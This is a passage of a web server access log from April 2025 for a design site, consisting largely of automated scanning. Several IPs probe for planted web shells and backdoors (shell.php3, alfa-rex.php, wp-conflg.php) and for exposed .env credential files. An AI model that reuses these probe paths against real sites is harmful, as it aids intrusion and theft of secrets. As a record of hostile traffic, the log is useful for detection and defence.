301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:47 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:48 -0400] "GET /wp-includes/pomo/ftp_nb_fget.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:49 -0400] "GET /bk/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:50 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:51 -0400] "GET /unsveanq.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:52 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:52 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:53 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:54 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:55 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:56 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:56 -0400] "GET /wp-includes/theme-compat/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:57 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:58 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:19:59 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:00 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:01 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:02 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:04 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:07 -0400] "GET /wp-admin/includes/12wvdscz.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:09 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:12 -0400] "GET /wp-content/uploads/wpr-addons/forms/cm.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:15 -0400] "GET /.well-known/acme-challenge/object.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:16 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:18 -0400] "GET /uctshcum.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:20 -0400] "GET /wp-admin/js/widgets/install.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:21 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:24 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:27 -0400] "GET /shell.php3 HTTP/1.1" 301 795 "-" "-" 45.84.107.198 - - [25/Apr/2025:14:20:28 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36 OPR/32.0.1948.69" 40.69.92.173 - - [25/Apr/2025:14:20:29 -0400] "GET /wp-content/themes/pridmag/layout.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:32 -0400] "GET /wp-admin/css/colors/coffee/biASsM.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:33 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:34 -0400] "GET /.well-known/cd.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:36 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:38 -0400] "GET /css/cbimsyft.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:40 -0400] "GET /wp-content/plugins/kvyiipi/ovasoksxl.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:41 -0400] "GET /.well-known/acme-challenge/db-update.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:42 -0400] "GET /.well-known/acme-challenge/item.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:43 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:43 -0400] "GET /assets/css/source/attention_seekers/ovagvggbs.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:45 -0400] "GET /wp-content/themes/understrap/sass/theme/ovafzspyx.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:46 -0400] "GET /wp-includes/Requests/input.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:46 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:47 -0400] "GET /wp-admin/js/widgets/jTQPHG.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:48 -0400] "GET /wp-includes/images/search_template_1735125075.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:49 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:50 -0400] "GET /files/function.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:51 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:52 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:53 -0400] "GET /wp-admin/css/colors/coffee/HrEPYzCPRv.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:54 -0400] "GET /wp-content/plugins/elementor-pro/modules/popup/ovaqagfqe.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:55 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:56 -0400] "GET /.well-known/ggmdjzys.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:57 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:58 -0400] "GET /wp-includes/css/xc.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:20:59 -0400] "GET /.well-known/wp-load.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:00 -0400] "GET /contents.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:01 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:03 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:04 -0400] "GET /.well-known/r.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:05 -0400] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:06 -0400] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:07 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:08 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:09 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:11 -0400] "GET /admin/uploads/d.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:11 -0400] "GET /wp-admin/css/colors/blue/1.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:12 -0400] "GET /wp-includes/images/sxo.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:13 -0400] "GET /.well-known/acme-challenge/309851/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:14 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:15 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:16 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:16 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:17 -0400] "GET /wp-includes/images/smilies/migrate.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:18 -0400] "GET /ccx/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:19 -0400] "GET /welcome/wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:20 -0400] "GET /.well-known/lsouyppu.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:21 -0400] "GET /.well-known/xin1.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:21 -0400] "GET /.well-known/acme-challenge/class_api.php999 HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:22 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:25 -0400] "GET /wp-content/uploads/wpr-addons/forms/elp.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:26 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:27 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:28 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:32 -0400] "GET /.well-known/custom.file.1.1735117699.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:35 -0400] "GET /wp-includes/css/zmFM.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:36 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:37 -0400] "GET /raf.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:39 -0400] "GET /smartoptimizer/cache/842900/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:41 -0400] "GET /wp-admin/includes/admin-header.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:43 -0400] "GET /wp-content/themes/calmly/issue.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:45 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:46 -0400] "GET /wp-admin/js/wp-czfnv.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:47 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:48 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:50 -0400] "GET /.well-known/avdotiet.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:51 -0400] "GET /wp-includes/html-api/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:52 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:53 -0400] "GET /wp-admin/network/lock.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:54 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:55 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:56 -0400] "GET /components/com_wrapper/views/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:56 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:57 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:58 -0400] "GET /wp-content/themes/rttheme18/images/colors/ovakiiphb.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:21:59 -0400] "GET /wp-includes/beofdecn.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:22:00 -0400] "GET /assets/images/88123af40d.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:22:01 -0400] "GET /.well-known/ajfghdbd.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:22:01 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:22:02 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:22:03 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:22:05 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:22:05 -0400] "GET /wp-admin/js/widgets/come.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:22:07 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:22:08 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:22:09 -0400] "GET /wp-admin/css/colors/sxo.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:22:11 -0400] "GET /OVA-UNAME.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:22:13 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:22:15 -0400] "GET /vendor/php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:22:17 -0400] "GET /wp-includes/css/custom-file-5-1735118957.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:22:18 -0400] "GET /wp-content/themes/intense/block-css.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:22:19 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:22:21 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:22:22 -0400] "GET /wp-admin/images/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.92.173 - - [25/Apr/2025:14:22:23 -0400] "GET /wp-includes/sodium_compat/src/about.php HTTP/1.1" 301 795 "-" "-" 216.131.109.249 - - [25/Apr/2025:14:29:54 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 125.94.144.102 - - [25/Apr/2025:15:00:44 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 78.46.66.146 - - [25/Apr/2025:15:34:48 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" 142.202.190.32 - - [25/Apr/2025:15:55:39 -0400] "GET /.env HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 142.202.190.32 - - [25/Apr/2025:15:55:39 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 18.207.89.138 - - [25/Apr/2025:16:22:07 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36" 44.212.145.46 - - [25/Apr/2025:16:22:11 -0400] "GET /blog/seo/geo-chem HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36" 43.130.3.122 - - [25/Apr/2025:16:46:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 2a02:c207:2248:5828::1 - - [25/Apr/2025:16:56:46 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0 Safari/537.36" 35.90.178.18 - - [25/Apr/2025:17:13:41 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 43.152.72.244 - - [25/Apr/2025:18:59:21 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 17.241.219.124 - - [25/Apr/2025:19:15:03 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.219.124 - - [25/Apr/2025:19:15:06 -0400] "GET /blog/blog/packaging-design/packaging-design-trends-in-2021 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 147.185.132.174 - - [25/Apr/2025:19:32:51 -0400] "GET / HTTP/1.1" 301 795 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 103.190.80.120 - - [25/Apr/2025:19:33:27 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:19:33:30 -0400] "GET /api/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:19:33:33 -0400] "GET /laravel/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:19:33:35 -0400] "GET /test/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:19:33:37 -0400] "GET /admin/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:19:33:40 -0400] "GET /vendor/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:19:33:42 -0400] "GET /sites/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:19:33:44 -0400] "GET /blog/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:19:33:46 -0400] "GET /system/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:19:33:48 -0400] "GET /public/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:19:33:50 -0400] "GET /shop/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 52.184.180.195 - - [25/Apr/2025:19:34:26 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:27 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:28 -0400] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:29 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:30 -0400] "GET /wp-content/plugins/elementor/assets/images/app/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:31 -0400] "GET /wp-comments-pos.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:31 -0400] "GET /wp-content/themes/ripro/inc/admin/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:31 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:32 -0400] "GET /index/b/home/h213348220/fundlead.ru/docs/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:33 -0400] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:33 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:33 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:34 -0400] "GET /wp-content/plugins/woocommerce/assets/client/blocks/products-by-attribute/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:34 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:35 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:35 -0400] "GET /Content/UserFiles/News/Orjinal/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:36 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:37 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:37 -0400] "GET /templates/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:38 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:39 -0400] "GET /wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:39 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:39 -0400] "GET /wp-link.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:40 -0400] "GET /wp-cro.php/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:40 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:41 -0400] "GET /wordpress/wp-includes/js/mediaelement/renderers/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:41 -0400] "GET /wp-content/plugins/oxygen/component-framework/components/classes/gallery/photoswipe/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:42 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:42 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:42 -0400] "GET /wp-content/plugins/elementor-pro/modules/woocommerce/skins/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:43 -0400] "GET /wp-content/plugins/seo-by-rank-math/vendor/woocommerce/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:43 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:44 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/blocks-config/uagb-controls/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:44 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:44 -0400] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:44 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:45 